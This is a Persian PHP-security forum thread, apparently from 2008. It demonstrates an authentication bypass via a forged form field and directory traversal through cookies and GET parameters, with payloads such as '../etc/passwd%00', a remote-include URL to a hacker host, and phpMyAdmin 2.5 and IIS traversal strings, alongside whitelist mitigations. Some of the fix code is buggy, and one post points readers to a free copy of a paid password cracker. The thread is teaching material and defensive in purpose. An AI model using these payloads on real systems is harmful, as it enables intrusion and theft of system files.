امنيت در php 1 , 2 بازديد ها:
7034 , پاسخ ها:
16 سلام دوستان با توجه به اينکه بيشتر کسايي که از زبون php براي برنامه نويسي سايت هاشون استفاده ميکنن به اين سايت رجوع ميکنن و مشکلاتشون رو مطرح ميکنن و از اونجايي که اکثريت نکات امنيتي رو رعايت نميکنن تصميم گرفتم که اين تاپيک رو با موضوع امنيت در php بزنم و از بچه ها بخوام که خلاصه ما رو همراهي کنن
" اين مطالبي که اينجا ميخوام بگم حاصل تجربه و اطلاعاتي هست که از کتابهايي که در اين مورد خوندم به دست آوردم به عنوان مثال کتاب ( جناب شهريار جلايري از تيم تحقيقاتي ناشناخته و مطالبي که در فروم تيم شبگرد و غيره نوشته شده ) و کمي از تجربيات خودم و کتاب هاي زبان اصلي که در رابطه با اين موضوع منتشر شده "
نکته : سعي ميشه در اين تاپيک به زبان خيلي ساده در باره ي اين مبحث بحث بشه تا اونهايي که تازه شروع کردن بتونن همراه بشن ( به قول بچه ها : زيادي شفاف سازي ميکنيم ! )
براي شروع از مبحث درست عرض يابي نشدن متد هاي GET و POST شروع ميکنم
براي مثال به قطعه کد زير نگاه کنيد که براي لوگين طراحي شده :
کد: انتخاب همه <? if (empty($_POST['password'])){ ?> <html> <body> <form action=login.php method=POST> password:<input type=password name=password> <input type=submit value=ok> </form> </body> </html> <? } ?> <? $password = strtolower(md5($_POST['password'])); $pass = "fcdd8c14398367d1a71f1d66c8d5be0a"; if($password == $pass){ $login= 1; } if($login==1) { echo "shoma vared shodid"; }else{ echo "password eshtebah ast"; } ?>خوب همون طور که ميبينيد هيچ مشکلي نيست و فقط با دونستن کلمه ي عبور ميتونيد وارد بشيد و پيغام شما وارد شديد رو ببينيد
کلمه عبور = (nic واقعي خودم يا همون asadhacker )
خوب اگه به کد نگاه کنيد ميبينيد که کلمه عبور کاملا" هش شده و نميشه پيچوندتش ولي اگه يکم دقت کنيد متوجه ميشيد زماني که پسورد درست وارد بشه اونوقت متغير login مقدار يک ميگيره و شرط برقرار ميشه و لوگين کامل ميشه ! خوب براي دور زدن اين کد تنها کاري که ما بايد بکنيم اينه که بيايم به متغير login مقدار يک بديم !
به قطعه کد زير نگاه کنيد :
کد: انتخاب همه <? echo "<html> <body> <form action='login.php' method='POST'> Password : <input type='password' name='password'> Login : <input type='text' name='login' value='1' readonly > <input type='submit' value='Go'> </form> </body> </html>"; ?>خوب با استفاده از اين Exploit شما ميتونيد بدون داشتن پسورد وارد بشيد ! يعني شما اگه پسورد رو اشتباه وارد کنيد توي برنامه کنترل ميشه توي اين خط :
کد: انتخاب همه <? $password = strtolower(md5($_POST['password'])); $pass = "fcdd8c14398367d1a71f1d66c8d5be0a"; if($password == $pass){ // <== اينجا $login= 1; } if($login==1) { echo "shoma vared shodid"; }else{ echo "password eshtebah ast"; } ?>که اگه اشتباه بود متغير لوگين مقدار دهي نميشه ولي بعد تو خط هفتم از فايل Exploit ميبينيد که مقدار 1 رو براي متغير login ارسال ميکنه و برابر 1 ميشه و ديگه باقي
ماجرا ...
براي روشن تر شدن اين موضوع بيايم به درخواست هاي http که از سمت فايل exploit ارسال ميشه يه نگاهي بندازيم ! :
کد: انتخاب همه POST /test/login.php HTTP/1.1 Host: 127.0.0.1 User-Agent: Opera/9.02 (Windows NT 5.1; U; en) Accept: */* Accept-Language: fa-IR,fa;q=0.9,en;q=0.8 Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0 Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1 Keep-Alive: timeout=15, max=99 Connection: Keep-Alive, TE Referer: http://127.0.0.1/test/login.php password=everypassword&login=l
به خط آخر يه نگاهي بندازيد ! به متغير login و password مقدار دهي شده !
نکته براي تازه کار ها : توي فايل Exploit قسمت اکشن که نوشته شده login.php شما بايد آدرس فايل راه دور رو به طور کامل وارد کنيد از اول http:// يا www. تا آخر
حالا سوالي که پيش مياد اينه که اگه به فايل login.php دقت کنيد متوجه ميشيد که ما براي اينکه بتونيم مقداري که از فرم Html به سمت php ارسال شده استفاده کنيم بايد از $_POST استفاده کنيم که در خط 16 ما با استفاده از $_POST مقدار ارسالي از فرم html رو توي متغير پسورد قرار داديم ! ولي ما مقدار متغيير لوگين رو برابر $_POST قرار نداديم که هر داده اي که از فرم هاي خارجي بياد به اين متغيير مقدار بده ! پس چطور اين اتفاق افتاد ؟؟؟ !
خوب جواب اين سوال توي همين متن نوشته شده
در مورد روش جلو گيري هم راه هاي زيادي وجود داره که ميشه از جلسه ها يا کوکي ها استفاده کرد که باشه واسه دفعه بعد....
َ
[ تبليغات ] سیستم فروش e-book سیستم فروش آنلاین کتاب و جزوه الکترونیکی و ... توسط
ermya در 17 خرداد 1387 - 2:06 ، پست ها: 63
خوب با استفاده از جلسه ها صفحه ي ورود به اين شكل در مياد
کد: انتخاب همه <? session_start(); if (empty($_POST['password'])){ ?> <html> <body> <form action=login.php method=POST> password:<input type=password name=password> <input type=submit value=ok> </form> </body> </html> <? } ?> <? $password = strtolower(md5($_POST['password'])); $pass = "fcdd8c14398367d1a71f1d66c8d5be0a"; if($password == $pass){ $_SESSION['login'] = 1; } if($_SESSION['login']==1) { echo "shoma vared shodid"; }else{ echo "password eshtebah ast"; } ?>و همون طور كه ميدونيد با هر بار لود شدن صفحه مقدار جلسه تغيير ميكنه و نميشه با استفاده از متد پست و گت مقدار دهي كردش!
البته كد واضح هست و نيازي به توضيح نداره !
حالا اگه بخوايم از كوكي براي صفحه لوگين استفاده كنيم به شكل زير در مياد !
کد: انتخاب همه <? if (empty($_COOKIE['password'])){ $password = strtolower(md5($_POST['password'])); $pass = "fcdd8c14398367d1a71f1d66c8d5be0a"; } if(($password == $pass) or ($_COOKIE['password'] == $pass )){ if(!isset($_COOKIE['password'])){ setcookie('password','fcdd8c14398367d1a71f1d66c8d5be0a', time()+60*60); } echo "shoma vared shodid"; }else{ echo "password eshtebah ast"; echo " <html> <body> <form action='login.php' method='POST'> password:<input type='password' name='password'> <input type='submit' value='ok'> </form> </body> </html>"; } ?>
حالا اگه رمز عبور درست باشه مقدار كوكي ست ميشه و تا 1 ساعت احتياج به زدن دوباره پسورد نيست !
البته توجه كنيد كه به دلايل آموزشي كد خيلي ساده شده !
ولي از نظر امنيتي كوكي ها هم مناسب نيستن ! چون كوكي رو هم ميشه از طريق درخواست هاي http مقدار دهي کرد ولي چون از رمز عبور استفاده شده کار کمي مشکل ميشه که البته هکر ميتونه از راه ورود به زور رمز رو حدس بزنه و وارد بشه ...
بعد از اين مبحث لوگين که خيلي حساس بود ميخام در مورد حملات پيمايش دايرکتوري بحث کنيم که مسئوليت استفاده نا صحيح از اين قسمت به بعد به عهده خود کاربر هست
دوستان با ما همراه باشيد که بحث يواش يواش جالب ميشه !
توسط
mojtaba در 17 خرداد 1387 - 9:50 ، پست ها: 1007
سلام،
خيلي مفيد و جالب بود.
از شما خيلي ممنونمف براي اين مطلب مفيد.
روش هليي که شما گفتيد کامل و بي نقص هستند، من هم يه نکته رو اضافه مي کنم، يه روش جلوگيري از اين طور هک شدن هم اينه که Register Globals رو توي server غير فعال کنيم. بعد تمامي چيز هايي که از فرم (با Post method) ارسال مي شه همگي وارد آرايه سيستمي POST_$ مي شود. در ضمن با مقدار دهي اوليه هم مي توان اين مشکلات را تا حد زيادي حل کرد.
موفق و سربلند باشي
منتظر مقالات بعدي شما هستم.
توسط
mahdi در 17 خرداد 1387 - 10:59 ، پست ها: 770
دست به ايجاد تاپيک هاي خوف و خفن کردي
منتظرم...
توسط
ermya در 17 خرداد 1387 - 11:52 ، پست ها: 63
البته كاملا حق با آقا مجتبي هست و مقاله ي بالا با فرض اينكه Register_global برابر off باشد نوشته شده و من يادم رفته بود در موردش بگم !
در مورد جلسه ها هم بايد بگم براي استفاده از جلسه ها حتما" بايد از تابع Session_start استفاده کنيد البته ميشه از تابع Session_register هم استفاده کرد که در اون صورت باز بايد مقدار register_global برابر on قرار بگيره که خودش مشکلاتي رو متحمل ميشه ! پس Session_start توصيه ميشه ! توجه کنيد که اين تابع رو بايد در اولين خط دستورات اجرا کنيد در غير اين صورت با ارور headers already
sent مواجه ميشيد براي رفع اين مشکل و استفاده اجراي جلسه ها در هر کجاي صفحه ميتونيد Output Buffering رو فعال کنيد به اين شکل
کد: انتخاب همه Ob_start();و در پايان هم ارسال اون رو به پايان برسونيد با استفاده از :
کد: انتخاب همه ob_end_flush();
البته دقت کنيد که براي استفاده از اين قابليت بايد ob_start() رو در اول دستورات استفاده کنيد !
در ضمن از آقا مهدي و آقا مجتبي هم ممنونم که با ما همراه شدن
خب حالا ديگه بريم سر مبحث پيمايش دايرکتوري فقط به مطلب زير توجه کنيد که خيالم راحت بشه ! ما شانس نداريم يکي مياد خر ما رو ميچسبه !
» مسئوليت استفاده نا صحيح از مطالب اين قسمت به عهده ي خود کاربر هست «
مطالب فقط براي اين گفته ميشه که دوستان از اشکالات موجود در برنامه هاشون مطلع بشن ! چون هر روز تعداد زيادي از سايت هاي ايراني توسط چيني ها هک ميشه و در zone h ثبت ميشه !
حالا بريم سر اصل مطلب :
اصل مطلب از اينجا شروع ميشه که يکي از خفن ترين آسيب پذيري ها همون آسيب پذيري پيمايش دايرکتوري هست که نفوذگر با استفاده از اين آسيب پذيري ميتونه فايل هاي مهمي که اجازه ي خوندن و نوشتن اونها رو نداره , با استفاده از اين آسيب پذيري بهشون دست پيدا کنه و کنترل کامل سرور رو در اختيار بگيره !
از جمله فايل Passwd در لينوکس يا فراخواني cmd در ويندوز !
خوب حالا اين آسيب پذيري چجوري به وجود مياد ؟
حتما" همه از اين تابع ها در برنامه هامون استفاده ميکنيم :
کد: انتخاب همه • Require() • Require_once() • Include_once() • Include() • Fopen() • File_get_contents() • More …اين تابع ها همون تابع هايي هستن که با مقدار دهي نامناسب ميتونه بستري مناسب براي اين نوع حملات ايجاد کنه !
چطور ؟ براي اينکه به جواب چطور برسيد باقي مطلب رو بخونيد :
اين توابع يک آرگومان به عنوان ورودي دريافت ميکنن و مقدار مشخص شده در آرگومان رو فرا خواني ميکنن
به عنوان مثال همه براي اينکه دستورات sql رو هر دفه توي برنامه هامون ننويسيم اونها رو توي يه فايل config مينويسيم و توي برنامه هامون include ميکنيم
فکر کنم کاملا" واضح باشه اگه جايي نياز به توضيح بيشتر داره تذکر بديد تا بگم
حالا نحوه ي عملکرد آسيب پذيري رو براتون ميگم
اين نوع آسيب پذيري ها بيشتر در مقادير کوکي ها ديده ميشن !
به عنوان مثال قالبي که کاربر بعد از ورود به سايت براي خود انتخاب ميکند و يا نوع زبان کاربر ! همه ي اينها توي کوکي ها ذخيره ميشن تا دفعات بعد که کاربر وارد شد بتونه از خصوصي سازي قبليش استفاده کنه
به مثال زير نگاه کنيد :
کد: انتخاب همه <? $template = 'yourtempl.php’; if (is_set($_COOKIE['TEMPLATE'])) $template = $_COOKIE['TEMPLATE']; include ( "/home/templates/" . $template ); ?>خوب کاربر بعد از ورود به سايت و انتخاب قالب دلخواه نام قالب درون متغير $template قرار ميگيره و باعث ميشه که نام قالب درون کوکي ذخيره بشه تا دفعه ي بعدي که وارد سايت شد بدون نياز به انتخاب مجدد قالب سايت رو با قالب دلخواه خودش ببينه !
و براي زبان هم ميشه به اين صورت نوشت دقت کنيد :
کد: انتخاب همه <? if($_COOKIE["language"]) { $llang = $_COOKIE["language"]; } else { $l_array = explode("-",$lang_array[0]); $llang = $l_array[0]; setcookie("language",$llang,time()+1209600,"","",""); } include("/home/lang/".$llang.".php"); ?>حالا بگم چطور از اين طور مقدار دهي ها ميشه سو استفاده کرد !
در مثال انتخاب زبان , بعد از بررسي کوکي ها متوجه ميشيم که کوکي ها به اين صورت ذخيره ميشن
کد: انتخاب همه language en to language Enبا برسي کوکي ها و دقت روي کد هاي نوشته شده در مثال انتخاب زبان متوجه ميشيم که صفحه با برسي کوکي ها و اضافه کردن پسوند php به مقدار ذخيره شده به عنوان کوکي , صفحه مربوط به زبان کاربر رو فراخواني ميکنه ! مثلا" با بررسي و گرفتن en و اضافه کردن پسوند Php صفحه ي en.php رو به عنوان زبان سايت با استفاده از تابع include فراخواني ميکنه حالا اگه ما مقدار کوکي رو به fa تغيير بديم اونوقت صفحه ي fa.php رو به عنوان زبان سايت فراخواني ميکنه !
خوب با استفاده از اين حفره ما ميتونيم ساير فايل هاي موجود در دايركتوري كه بهشون دسترسي نداريم رو بخونيم ! فرض كنيد فايل هاي زبان در دايرکتوري /home/lang/ قرار گرفته و فايل index در دايرکتوري /home/ باشه ! ما براحتي با استفاده از کد هاي (..) و ( ../ ) به دايرکتوري هاي بالا تر و يا قبل تر بريم ! به طور مثال با تغيير کوکي ها به ين صورت :
کد: انتخاب همه language en to language ../mainمقداري که فراخواني ميشه به اين صورت در مياد :
کد: انتخاب همه include("/home/lang/../main.php");و برنامه با برگشتن به دايرکتوري پيشين ( /home/ ) فايل main.php رو فراخواني ميکنه و در بالاي صفحه نشون ميده ! البته همون طور که انتظار ميره ما با خطا هايي هم روبرو ميشيم ! که اگه کمي خلاقيت داشته باشيد ميبينيد که ما ميتونيم فايل passwd در لينوکس و يا فايل cmd رو در ويندوز فراخواني کنيم و کنترل کامل سرور رو در اختيار بگيريم ! به اين صورت که کوکي ها رو اين شکلي تغيير بديم :
کد: انتخاب همه language en to language ../../../../../../../../../etc/passwdحالا بعد از تغيير کد و اجراي صفحه ما چيزي بجز خطا هاي رايج رو نميبينيم !
پس مشکل کجاست ! ما که مسير رو درست وارد کرديم ؟ !
براي اينکه مشکل رو پيدا کنيم ناچارا" به فايل language بر گشته و کد ها رو تحليل ميکنيم !
کد: انتخاب همه <? if($_COOKIE["language"]) { $llang = $_COOKIE["language"]; } else { $l_array = explode("-",$lang_array[0]); $llang = $l_array[0]; setcookie("language",$llang,time()+1209600,"","",""); } include("/home/lang/".$llang.".php"); ?>خب اگه به خط آخر دقت کنيد ميبينيد که فايل به اين صورت فراخواني شده :
کد: انتخاب همه include("/home/lang/".$llang.".php");خب اين يعني اينکه ما فقط ميتونيم فايل هايي که پسوند php دارن رو فراخوني کنيم !
هه هه هه چه security جالبي !
ولي نه اينجوري نيست اونايي که زبون برنامه نويسي c بلدن و با exploit نويسي آشنايي دارند و کمي باهوشن ميدونن که با يک کد کوچيک هگز ميشه هر فايلي رو که دوست داشته باشن رو فرخواني کنن ! اسم اين کد کوچيک نال بايت ه و در هگز به اين صورته : ( 00% ) که براي درک بهتر اين کد بياين نگاهي به نحوه ي تعريف يک متغير از نوع رشته اي در زبان C بندازيم :
کد: انتخاب همه char name="asadhacker"اين اسم در حافظه به اين صورت تعبير ميشه :
کد: انتخاب همه a s a d h a c k e r \0مقدار نال بايت در آخر رشته به معني پايان رشته است يعني اينکه هر کاراکتري بعد از اون قرار بگيره مورد قبول نيست به بيان ديگه پردازش گر بعد از رسيدن به نال بايت پردازش رو پايان ميده و از اونجايي که php بر پايه ي زبون c نوشته شده اين قابليت رو از C به ارث برده و ما ميتونيم فايل مورد نظر خودمون رو به اين صورت فراخوني کنيم :
کد: انتخاب همه language en to language ../../../../../../../../../etc/passwd%00مقدار مورد نظر ما به اين صورت فراخواني ميشه :
کد: انتخاب همه include("/home/lang../../../../../../../../../etc/passwd%00.php");بعد از رسيدن به نال بايت پردازش رشته تموم ميشه و فايل passwd که به اين صورت :
کد: انتخاب همه passwd%00.phpفراخواني شده به اين صورت تعبير ميشه :
کد: انتخاب همه passwd
چون همون طور که گفتم بعد از نال بايت عملا" هيچ کاراکتري پردازش نميشه و با استفاده از اين تکنيک ميشه هر فايلي و با هر پسوندي رو فراخواني کرد !
ديگه خسته شدم از بس تايپ کردم ! هنوز اين مبحث تموم نشده و ادامه داره .....
فعلا" باي
توسط
mahdi در 17 خرداد 1387 - 17:13 ، پست ها: 770
آقا معلم چرا اينقدر از اينها زياد نوشتي؟
کد: انتخاب همه /home/lang../../../../../../../../../etc/passwd
مگه چند تا پوشته عقب تر است؟
راستي مدير سرور مي تونه دسترسي به اين پوشه ها را قطع کنه؟!! نه؟
ممنون
توسط
ermya در 17 خرداد 1387 - 23:35 ، پست ها: 63
سلام مهدي جان مرسي از توجهت به مطالب !
ببين اگه دايركتوري اي كه ما توي اون قرار گرفتيم رو public_html يا www فرض کنيم
اين فايل دقيقا" به اندازه ي يک دايرکتوري عقب تر و در پوشه ي etc قرار گرفته !
يعني دقيقا" اينجا :
کد: انتخاب همه /../etc/passwd
البته شما 10000 تا هم از /../ استفاده کني از دايرکتوري قبل public_html عقب تر نميتوني بري !
در مورد قطع کردن سطح دسترسي چون فايل هاي پسورد توي اين فايل نگهداري ميشن قطع کردن دسترسي عملا" ممکن نيست و در صورت اينکار خودش مشکلات متعددي رو داره که از حوصله ي اين بحث خارجه !
ولي همين قدر بدونيد که تمام اطلاعات موجود در اين فايل طبق يک الگوريتم .... هش شده ! که نوع الگوريتم رو نميتونم بگم چون دکودر هاش موجوده ! و من اينجا اين مطالب رو با اين اجازه بيان ميکنم که مطالب آموزشي هستن و براي مقابله با هک استفاده ميشن .... !
البته بگرديد ميتونيد بفهميد ( " با يه سرچ کوچولو گوگل " ) البته اينو از من نشنيده بگيرين !
توسط
mahdi در 18 خرداد 1387 - 8:50 ، پست ها: 770
اين طوري که من فهميدم برنامه هايي براي پيدا کردن password هست که 2 تا فايل passwd و ...s را نياز دارد...
من با PHP هر چي سعي به فايل پسورد توي Accountتم دسترسي پيدا کنم، نشد ولي از توي file manager بهم نشون داد...
ممنون، موفق باشي
توسط
mojtaba در 18 خرداد 1387 - 10:04 ، پست ها: 1007
سلام،
ermya جان از مطلب خيلي جالب و مفيدت، استفاده کرديم.
ولي شما که روش هاي جلوگيري رو نمي گي...
خودم مي گم:
براي جلوگيري از هک شدن به اين روش، نبايد مقادير برناممون رو از کاربر بگيريم. تازه با اين باگ در شرايطي مي شه از طريق RFI هم نفوذ کرد. حالا مي آييم وقتي وقداري رو از کاربر مي گيريم، اونو چک مي کنيم تا ببنيم درسته يا مشکوک. در ضمن براي مقاديري که از کوکي يا url مي خونيم بهتره که عدد باشه.
حالا مثال template:
کد: انتخاب همه <? $TemplateArr = array( 'temp1', 'temp2', 'temp3', 'temp4'); $TemplateIndex = isset( $_COOKIE[ 'TEMPLATE']) ? intval( $_COOKIE[ 'TEMPLATE']) : 0; include ( "/home/templates/" . $TemplateArr[ $TemplateIndex ] ); ?>
همون طور که مي بينيد اينجا وقدار کاربر رو اولا چون قراره عدد باشه از intval رد کرديم، دوما مقادير رو پيش خودمون نگه داشتيم و فقط Index رو از کاربر مي گيريم. تو مثال Language هم ميتونيم اين کار رو انجام بديم.
حالا بعضي جاها ممکنه نتونيم از اعداد استفاده کنيم. اونجا ديگه بايد از عبارات با قاعده استفاده کنيم تا چيزهايي که مجاز هست فقط بتونه وارد سيستم بشه.
موفق و سربلند باشيد.
توسط
ermya در 18 خرداد 1387 - 12:40 ، پست ها: 63
سلام مهدي جان
نميدونم چطور ميگي نتونستم بهش دسترسي داشته باشم
کد: انتخاب همه <? $password = include ("/../etc/passwd"); echo $password ; ?>
من كه هرجا تست كردم بهم جواب داد و احتياجي به وارد شدن از cpanel نبود
در مورد اون 2 تا فايل که گفتي بله درسته ولي برنامه اي هم هست که همون 1 فايل براش کافيه و احتياج به فايل دوم نداره البته پولي هست و قيمتش چيزي حدود 300$ هست
البته توي astalavista اگه شناسه داشته باشي ميتوني مجاني دانلود کنيش
توسط
ermya در 18 خرداد 1387 - 12:44 ، پست ها: 63
بله دقيقا" حق با مجتبي جان هست !
در مورد روش هاي جلو گيري هم راه هاي زيادي وجود داره که مجتبي جان فرمودند
فقط ماجراي اينکه من روش جلوگيري رو نگفتم اين بود که هنوز اين مبحث ادامه داره و زماني که تموم شد ميخواستم در موردش بگم که باز مجتبي جان زحمت کشيدند و کار بنده رو کمتر کردند
توسط
mahdi در 18 خرداد 1387 - 14:46 ، پست ها: 770
براي من error زير را هنگام کار مي دهد:
کد: انتخاب همه The script whose uid is 32015 is not allowed to access /../etc/passwd owned by uid 0
آن برنامه را هم اگر لينک دانلودش را داري، اگر برايت زحمتي نيست توي پيام خصوصي برايم بفرست
ممنون
توسط
mahdi در 18 خرداد 1387 - 16:27 ، پست ها: 770
يک نکته را هم من بگم
وقتي فرم ها مقداري را براي سرور مي فرستند، بعضي ها مي آييند و اون عملي را که قرار انجام بشود داخل يک فايل ميريزند و آن فايل راinclude مي کنند، حالا براي جلوگيري از اين Bug مي شود يک رده نوشت که عمل ها را به صورت method در آن Class قرار داد و حتي سطح دسترسي برايش تعيين کرد و آن ها را صدا زد:
کد: انتخاب همه <? class Request { public function cmd() { // Your Script Here } } if (method_exists('Request', $_POST['action'])) Request::$_POST['action'](); ?> <form method=post> <input type=hidden name=action value=cmd /> <input type=submit /> </form>
شاد باشيد
توسط
ermya در 18 خرداد 1387 - 19:52 ، پست ها: 63
دستت درد نكنه مهدي جان خيلي جالب بود ولي سعي كن يه كم بيشتر راجع به مطالبت توضيح بدي كه توش ايهام نباشه !
بريم سراغ ادامه ي بحث آسيب پذيري پيمايش دايرکتوري :
خب حالا بريم سراغ اين آسيب پذيري که با استفاده از تابع fopen ايجاد شده
به کد زير دقت کنيد :
کد: انتخاب همه <? include('/home/template/header.php'); if (isset($_GET['file']) { $fp = fopen("$file" . ".html","r"); } else { $fp = fopen("main.html", "r"); } include('/home/template/footer.php'); ?>اگه کد رو تحليل کنيم متوجه ي اين ميشيم که صفحات به اين شکل فراخواني ميشن دقت کنيد :
کد: انتخاب همه http://www.example.com/index.php?file=page.html http://www.example.com/index.php?file=main.html همون طور که ميبينيد ما براحتي ميتونيم صفحات ديگري رو از راه دور فراخواني کنيم :
کد: انتخاب همه http://www.example.com/index.php?file=http://www.hacker.com/exploitو يا اينکه دايرکتوري ها رو پيمايش کنيم :
کد: انتخاب همه http://www.example.com/index.php?file=../../../../etc/passwdآسيب پذيري پيمايش دايرکتوري يکي از رايج ترين و در عين حال خطر ناک ترين نوع آسيب پذيري است بطوري که حتي phpmyadmin 2.5 که يکي از معروف ترين و پر کاربرد ترين برنامه هاست از اين آسيب پذيري در امان نبود :
کد: انتخاب همه <? // Export.php - PHP My Admin 2.5 Directory Travel Vulnerability PMA_checkParameters(array('what')); // What type of export are we doing? if ($what == 'excel') { $type = 'csv'; } else { $type = $what; } // Get the functions specific to the export type require_once('./libraries/export/' . $type . '.php'); ?>اگه به اين فايل دقت کنيد ميبينيد که متغير what توسط تابع PMA_checkParameters بررسي و مقدار دهي ميشه ومقدار متغير what به type نسبت داده ميشه خب بعد از مراجعه به فايل libraries/common.lib.php و برسي تابع PMA_checkParameters ما متوجه ميشيم که اين تابع به وسيله ي GET مقدار دهي شده و ما براحتي ميتونيم فايل ها رو فراخوني کنيم
کد: انتخاب همه http://www.example.com/PhpMyadmin/export.php?what=../../../../etc/passwdالبته اين نوع آسيب پذيري ها محدود به برنامه هاي php نميشه و از جمله ميشه آسيب پذيري ISS 5 رو مثال زد که با اون ميشد دايرکتوري ها رو پيمايش کرده و به cmd دست پيدا کنيم
کد: انتخاب همه http://www.example.com/show.asp?view=../../../../../Windows/system.ini http://www.example.com/scripts/..%5c../Windows/System32/cmd.exe?/c+dir +c:\براي جلو گيري از اين نوع آسيب پذيري ها راه هاي زيادي وجود داره که بسته به نوع خلاقيت و طرز فکر شما ممکن هست با هم فرق داشته باشه ولي يک نمونه ي خيلي خوب و جامع اون رو دوست خوبمون mojtaba جان در همين تاپيک فرمودند که من هم چند نمونه از اون رو ميگم خدمتتون
يکي از راه هايي که ميشه پيشنهاد کرد گزاشتن يک ثابت در ابتداي فايل مورد نظر و يا يکي ديگه گزاردن فايل مورد نظر در آرايه و بررسي مقدار مورد نظر هست که اگه مقادير در آرايه موجود بود فراخواني انجام بشه اگه نبود خب نشه
به عنوان مثال , مثال انتخاب زبان رو در نظر بگيريد که به اين شکل تغيير پيدا کنه :
کد: انتخاب همه <? //Language.php $check = array("en", "sp", "fa", "it"); $checklang = $_COOKIE["language"]; if (in_array("$checklang", $check)) { if($_COOKIE["language"]) { $llang = $_COOKIE["language"]; } else { $l_array = explode("-",$lang_array[0]); $llang = $l_array[0]; setcookie("language",$llang,time()+1209600,"","",""); } include("/home/lang/".$llang.".php"); } else { die "Directory Travel Protection"; } ?>در ضمن ميشه براي خاطر جمع شدن مقدار نال بايت رو فيلتر کنيم و يا بقول دوستمون Mojtaba جان از عبارت هاي با قاعده استفاده کنيم :
کد: انتخاب همه <? //Language.php $check = array("en", "sp", "fa", "it"); $nullbyte = "%00"; $checklang = $_COOKIE["language"]; if (in_array("$checklang", $check)) { if($_COOKIE["language"]) { $llang = $_COOKIE["language"]; } else { $l_array = explode("-",$lang_array[0]); $llang = $l_array[0]; setcookie("language",$llang,time()+1209600,"","",""); } $nullcheck = strpos($llang, $nullbyte); if ($pos === false) { include("/home/lang/".$llang.".php"); }else{ die " Security error:Directory Travel Protection"; } } else { die " Security error:Directory Travel Protection"; } ?>براي تابع fopen هم ميشه به اين شکل نوشت :
کد: انتخاب همه <? //index.php include('/home/template/header.php'); $check = array("home", "contact", "links", "about"); $checkfile = $_GET['file']; if (in_array("$checkfile", $check)) { if (isset($_GET['file']) { $fp = fopen("$file" . ".html","r"); } else { $fp = fopen("main.html", "r"); } }else{ die "Directory Travel Protection"; } include('/home/template/footer.php'); ?>
خب دوستان اين مبحث از امنيت هم تموم شد مبحث بعدي مون در مورد فراخواني فايل هاي راه دور هست که اگه خدا عمري بده ميگم خدمتتون !
فکر ميکنم به جز فراخواني فايل هاي راه دور حدودا" 25 مبحث ديگه ميمونه که بايد در موردش بحث بشه البته يه چند تا کوچولو هم هست که فکر کنم تو همين فروم به چشمم خورد که ميشه include کردن فايل ها روي سرور مشترک رو مثال زد که فکر کنم اگه اشتباه نکنم آقا mojtaba قبلا" در موردش گفته بود
موضوع مهم اينه که کي حال داره اينا رو بنويسه !
راستيتش من داشتم يکم شل ميگرفتم ولي بعد از اينکه اومدم ديدم mojtaba جان اين مطلب رو روي index گذاشته ترقيب شدم که تکميلش کنم تا دوستان بتونن ازش کمال استفاده رو ببرن و برنامه هايي که مينويسن تقريبا" بدون نقص باشه !
» باشد روزي که خارجي ها از مقالات و برنامه هاي ايراني ها استفاده کنند « 1 , 2